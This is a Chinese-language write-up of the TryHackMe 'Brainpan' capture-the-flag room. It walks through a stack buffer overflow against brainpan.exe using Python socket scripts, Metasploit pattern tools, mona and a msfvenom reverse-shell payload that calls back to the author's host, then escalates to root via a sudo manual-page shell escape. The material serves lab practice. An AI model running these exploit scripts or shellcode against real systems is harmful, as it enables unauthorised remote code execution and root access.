端口扫描
sudo nmap --min-rate 10000 -p- 10.10.241.235 -A Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-29 14:48 UTC Nmap scan report for brainpan.thm (10.10.241.235) Host is up (0.24s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [________________________ WELCOME TO BRAINPAN _________________________] |_ ENTER THE PASSWORD 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) |_http-title: Site doesn't have a title (text/html). |_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|
用nc连接9999端口让我们输入一个密码,大概率是由缓冲区溢出的,10000端口开了一个web服务器,访问
扫描一下目录,发现有一个/bin目录,里面有一个brainpan.exe
BufferFlowExp
下载下来,在windows中的immunity debugger运行
import socket
exp='' exp=exp.encode() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.233.1',9999))
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err)
s.send(exp)
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err) s.close()
|
写一个socket连接来发送信息,随便输入一点会显示ACCESS DENIED,相应的在windows的终端中也会收到信息
import socket import time import sys size=100 while True: try: print('\n Send %s bytes'%size) buffer = 'A' * size s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.10.0.159', 9999)) try: data = s.recv(1024) print(data.decode() + '\n') except socket.error as err: print(err) s.send(buffer.encode()) s.close() size +=100 time.sleep(2) except: print("connection close") sys.exit()
|
可以先测试一下大概能够接收多少字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
|
创建600个测试字符
import socket
exp='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9' exp=exp.encode() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.233.1',9999))
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err)
s.send(exp)
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err) s.close()
|
发送这六百个字符,发现进程在接收600个字符停止了
在ID(immunity debugger)中查看eip的值现在是35724134,
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x35724134
|
得到偏移量是524
import socket exp='A'*524+'B'*4 exp=exp.encode() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.233.1',9999))
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err)
s.send(exp)
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err) s.close()
|
加上四个字节来覆盖eip
接下来我们需要寻找这个程序中的坏字节(防止写入esp的shellcode因为坏字节而执行不了)
import socket badchars='\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' exp='A'*524+'B'*4+badchars exp=exp.encode() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.233.1',9999))
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err)
s.send(exp)
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err) s.close()
|
ID中右键EDX的Follow in Dump,找到我们开始发送的坏字节,经检查应该是只有一个\x00一个坏字节(这里其实应该计算并改变前面的buffer,因为坏字节一共有256个,所以应该是520-256个buffer,不过我太懒了没算)
接下来我们需要找到jmp esp这个汇编代码的地址(因为程序运行的过程中esp的地址我们是不确定的,需要一个汇编代码来跳转到esp)
在ID最下方输入
!mona jmp -r esp -m brainpan.exe
|
来找到这个程序中出现这个代码的地址(mona.py需要自行去github下载放入插件的文件夹)
得到是0x311712F3,记得是小端序存储,所以后面要反写
msfvenom -p linux/x86/shell_reverse_tcp lhost=10.11.38.245 lport=1234 -f python -b '\x00' >poc.py
|
生成一个python的反弹shell
import socket jmp_esp=b'\xF3\x12\x17\x31' some_junk=b'\x90'*16 buf = b"" buf += b"\xbf\xa8\x5d\x19\x8d\xd9\xc9\xd9\x74\x24\xf4\x5a" buf += b"\x2b\xc9\xb1\x12\x31\x7a\x12\x03\x7a\x12\x83\x6a" buf += b"\x59\xfb\x78\x5b\xb9\x0c\x61\xc8\x7e\xa0\x0c\xec" buf += b"\x09\xa7\x61\x96\xc4\xa8\x11\x0f\x67\x97\xd8\x2f" buf += b"\xce\x91\x1b\x47\xdb\x6a\xfa\x62\xb3\x6e\x02\x88" buf += b"\x96\xe6\xe3\x20\x70\xa9\xb2\x13\xce\x4a\xbc\x72" buf += b"\xfd\xcd\xec\x1c\x90\xe2\x63\xb4\x04\xd2\xac\x26" buf += b"\xbc\xa5\x50\xf4\x6d\x3f\x77\x48\x9a\xf2\xf8" exp=b'A'*524+jmp_esp+some_junk+buf s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.10.0.159',9999))
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err)
s.send(exp)
try: data=s.recv(1024) print(data.decode()+'\n') except socket.error as err: print(err) s.close()
|
开启监听,运行exp,接收到了反弹shell
提权
python3 -c "import pty;pty.spawn('/bin/bash')"
|
提升下交互性
sudo -l
发现可以运行
/home/anansi/bin/anansi_util,并且可以运行manual,
sudo /home/anansi/bin/anansi_util manual whoami
然后输入!/bin/bash
提权成功!!!
碎碎念
前段时间也算是在HTB小学了一些汇编和缓冲区溢出利用,打一个比较模板化的房间练一下手。有些步骤写的其实没有那么规范完整,比如说esp那里的空间实际上需要计算一下是否能够放入shellcode比较稳妥。
此外附上一位大佬的讲解视频,非常详细完整!
https://www.bilibili.com/video/BV1dY4y127Ld/